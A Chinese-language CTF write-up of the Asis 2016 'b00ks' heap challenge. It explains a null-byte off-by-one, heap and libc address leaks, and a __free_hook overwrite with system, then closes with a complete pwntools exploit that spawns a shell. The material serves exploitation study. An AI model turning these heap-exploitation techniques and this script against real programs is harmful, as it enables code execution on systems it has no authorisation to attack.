Asis2016-b00ks writeup

题目描述

题目来源:Asis CTF 2016
知识点:null byte off_by_one、mmap泄露libc基址
题目是一个书籍管理系统,具有增删查改功能。

1
2
3
4
5
6
7
8
9
10
11
nick@nick-machine:~/pwn_learn/heapLearn/off_by_one$ ./b00ks 
Welcome to ASISCTF book library
Enter author name: aaaa

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
>

题目是64位程序,开启保护情况:

1
2
3
4
5
6
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序开启了PIE,意味着难以得到程序中函数的地址,可能对泄露libc造成阻碍。

程序概况

程序首先要求输入author name,调用一个处理输入的函数(input函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
signed __int64 __fastcall input(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]

if ( a2 <= 0 )
return 0LL;
buf = a1;
for ( i = 0; ; ++i )
{
if ( read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == '\n' )
break;
++buf;
if ( i == a2 )
break;
}
*buf = 0;
return 0LL;
}

分析代码可以发现,代码对字符串末尾处理不当,会在字符串的最后加上'\x00',即使字符串已经占满buf。也就是说程序中存在null byte off_by_one漏洞

create函数:
输入name,对大小没有限制

1
2
3
4
5
6
7
printf("\nEnter book name size: ", *&v1);
__isoc99_scanf("%d", &v1);
if ( v1 >= 0 )
{
printf("Enter book name (Max 32 chars): ", &v1);
ptr = malloc(v1);
...

输入description,同样对大小无限制

1
2
3
4
5
6
7
8
9
10
11
12
13
printf("\nEnter book description size: ", *&v1);
__isoc99_scanf("%d", &v1);
if ( v1 >= 0 )
{
v5 = malloc(v1);
if ( v5 )
{
printf("Enter book description: ", &v1);
if ( input(v5, v1 - 1) )
{
printf("Unable to read description");
}
...

最后将name和description的指针存入结构体

1
2
3
4
5
6
7
8
9
10
v3 = malloc(0x20uLL);
if ( v3 )
{
*(v3 + 6) = v1;
*(off_202010 + v2) = v3;
*(v3 + 2) = v5;
*(v3 + 1) = ptr;
*v3 = ++cnt;
return 0LL;
}

分析可得到结构体

1
2
3
4
5
6
00000000 book            struc ; (sizeof=0x20, mappedto_6)
00000000 index dq ?
00000008 name dq ?
00000010 description dq ?
00000018 size dq ?
00000020 book ends

delete函数会将指针清零,不存在悬挂指针
edit函数用于编辑book的description
print函数输出ID、name、description、author,可以用来泄露信息
change_name函数可以修改author name

漏洞分析

任意读写

由于null byte off_by_one,在程序开头时,若输入32位的author name(unk_202040),那么'\x00'会溢出到book_list(unk_202060)中

1
2
3
4
.data:0000000000202010 book_list       dq offset unk_202060    ; DATA XREF: sub_B24:loc_B38↑o
.data:0000000000202010 ; delete:loc_C1B↑o ...
.data:0000000000202018 author_name dq offset unk_202040 ; DATA XREF: change_name+15↑o
.data:0000000000202018 ; print+CA↑o

若是此时create一个book,那么新book的指针将会覆盖掉这个溢出的'\x00',导致author name与book指针之间没有截断,意味着我可以通过输出author name来泄露出book的指针,也就是堆地址。

1
2
3
0x555555756040:	0x6161616161616161	0x6161616161616161 <== author name
0x555555756050: 0x6161616161616161 0x0061616161616161
0x555555756060: 0x0000555555757160 <== book指针

由于程序提供修改author name的函数,所以可以再次输入32位的author name,使溢出的'\x00'覆盖掉book指针的最低字节,导致book的指针所指向的地址变小

1
0x0000555555757160 ==> 0x0000555555757100 //地址变小

因为在create一个book时,会先申请name和description的空间,所以经过修改的book指针有可能就会指向地址偏小description的空间

1
2
3
4
5
6
7
8
9
10
11
12
0x555555757000:	0x0000000000000000	0x0000000000000021 <== name
0x555555757010: 0x6161616161616161 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000131 <== description
0x555555757030: 0x6262626262626262 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000000
......
0x555555757100: 0x0000000000000000 0x0000000000000000 <== 修改后的book指针,指向description中
......
0x555555757150: 0x0000000000000000 0x0000000000000031
0x555555757160: 0x0000000000000001 0x0000555555757010 <== 修改前的book指针
0x555555757170: 0x0000555555757030 0x0000000000000120
0x555555757180: 0x0000000000000000 0x0000000000020e81

所以可以事先在description中伪造一个book结构体,当book指针被修改于此时,就可以对伪造的name和description进行读写,实现任意读写

泄露libc基址

这道题由于开启PIE,并且没有uaf等常规方法来泄露libc,所以这里采用了一种更为巧妙的方法。在分配第二个book时,申请一个很大的空间,使堆以mmap模式进行拓展(可以参考这里)。因为mmap分配的内存与libc之前存在固定的偏移因此可以推算出libc的基地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x56052bb62000 0x56052bb64000 r-xp 2000 0 /home/nick/pwn_learn/heapLearn/off_by_one/b00ks
0x56052bd63000 0x56052bd64000 r--p 1000 1000 /home/nick/pwn_learn/heapLearn/off_by_one/b00ks
0x56052bd64000 0x56052bd65000 rw-p 1000 2000 /home/nick/pwn_learn/heapLearn/off_by_one/b00ks
0x56052d944000 0x56052d965000 rw-p 21000 0 [heap]
0x7fd6affa0000 0x7fd6b015e000 r-xp 1be000 0 /lib/x86_64-linux-gnu/libc-2.19.so
0x7fd6b015e000 0x7fd6b035e000 ---p 200000 1be000 /lib/x86_64-linux-gnu/libc-2.19.so
0x7fd6b035e000 0x7fd6b0362000 r--p 4000 1be000 /lib/x86_64-linux-gnu/libc-2.19.so
0x7fd6b0362000 0x7fd6b0364000 rw-p 2000 1c2000 /lib/x86_64-linux-gnu/libc-2.19.so
0x7fd6b0364000 0x7fd6b0369000 rw-p 5000 0
0x7fd6b0369000 0x7fd6b038c000 r-xp 23000 0 /lib/x86_64-linux-gnu/ld-2.19.so
0x7fd6b054d000 0x7fd6b0572000 rw-p 25000 0 <==== mmap分配的空间
0x7fd6b058a000 0x7fd6b058b000 rw-p 1000 0
0x7fd6b058b000 0x7fd6b058c000 r--p 1000 22000 /lib/x86_64-linux-gnu/ld-2.19.so
0x7fd6b058c000 0x7fd6b058d000 rw-p 1000 23000 /lib/x86_64-linux-gnu/ld-2.19.so
0x7fd6b058d000 0x7fd6b058e000 rw-p 1000 0
0x7ffe6b361000 0x7ffe6b382000 rw-p 21000 0 [stack]
0x7ffe6b3bd000 0x7ffe6b3bf000 r--p 2000 0 [vvar]
0x7ffe6b3bf000 0x7ffe6b3c1000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

getshell

因为PIE,所以很难采用覆写got表等方法。而已经泄露了libc,所以这里采用向__free_hook写入system来getshell

漏洞利用

  1. 输入32位的author name,create一个book1(name:0x20字节,description:0x120字节)
  2. 调用show函数 泄露堆地址
  3. create book2(description为大空间:0x21000字节),准备泄露libc基址
  4. create book3(name写入'/bin/sh\x00')为getshell做准备
  5. 在book1->description中伪造book结构体,name指针为book2的description指针(即mmap分配空间的地址),description指针为book3中description指针的地址。(这里地址都可以由泄露的堆地址加上偏移得到)
  6. 重新向author name中写入32个字节,使'\x00'覆盖掉book1指针的最低位字节,book1指针指向book1->description中布置好的book结构体
  7. 调用show函数,通过book1的name的值得到mmap分配的地址,减去固定的偏移获得libc基址
  8. 通过libc基址,计算出system和__free_hook的地址
  9. 调用edit,修改book1的description,写入free_hook的地址,因为第(5)步,所以这里实际是将book3的description指针改为free_hook的地址
  10. 调用edit,修改book3的description,写入system,因为第(9)步,所以这里实际是把system写入__free_hook中
  11. 调用delete(book3),因为事先在name写入的'/bin/sh\x00',所以成功getshell

我的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#-*- coding=utf-8 -*-
from pwn import *

context.log_level = 'debug'
p = process('b00ks')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def create(name, description):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Enter book name size: ')
p.sendline(str(len(name)))
p.recvuntil('Enter book name (Max 32 chars): ')
p.send(name)
p.recvuntil('Enter book description size: ')
p.sendline(str(len(description)))
p.recvuntil('Enter book description: ')
p.send(description)

def delete(index):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('id you want to delete: ')
p.sendline(str(index))

def edit(index, description):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('id you want to edit: ')
p.sendline(str(index))
p.recvuntil('new book description: ')
p.sendline(description)

def show():
p.recvuntil('> ')
p.sendline('4')

def change_name(name):
p.recvuntil('> ')
p.sendline('5')
p.recvuntil('Enter author name: ')
p.sendline(name)

def leak(addr1, addr2):
payload = 'b'*0xc0 + p64(1) + p64(addr1) + p64(addr2) + p64(0x120)
edit(1, payload)
change_name('a'*32)
show()
p.recvuntil('Name: ')
res = u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))
return res

#泄露堆地址
p.recvuntil('Enter author name: ')
p.sendline('a'*32)

create('a'*0x20, 'b'*0x120)
show()
p.recvuntil('Author: ')
heap_addr = u64(p.recvuntil('\n')[32:-1].ljust(8, '\x00'))
print "heap_addr: %#x" % heap_addr

#申请一个大内存,让堆以mmap模式进行拓展,进而泄露libc_base
create('a'*0x20, '\x00'*0x21000)
create('/bin/sh\x00', 'b'*0x8)
#heap_addr+0x70是以mmap拓展的堆的地址,将他写入伪造的book结构体的name中,准备泄露该值
#heap_addr_0xe0是chunk3的description指针,为之后任意写做准备
libc_base = leak(heap_addr+0x70, heap_addr+0xe0) - 0x5AD010 #该值需要根据系统修改
print "libc_base: %#x" % libc_base

#计算地址
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
print "system: %#x" % system
print "free_hook: %#x" % free_hook

#之前将chunk3的description指针的地址写到了伪造chunk的description指针处,所以这里将改写chunk3的description指针的值为free_hook
#因为off_one_byte会导致写入时会多往后覆盖一个字节,导致后方的book->size被覆盖为0,所以这里手动多写一个字节'\x08',以免size被覆盖为0
edit(1, p64(free_hook)+'\x08')
#向free_hook中写入system
edit(3, p64(system))
#事先已经在chunk3的name中放入了/bin/sh\x00
delete(3)

p.interactive()

相关链接

题目链接:b00ks

文章作者: Hpasserby
文章链接: https://hpasserby.me/post/b6745c59.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hpasserby
支付宝赞赏
微信赞赏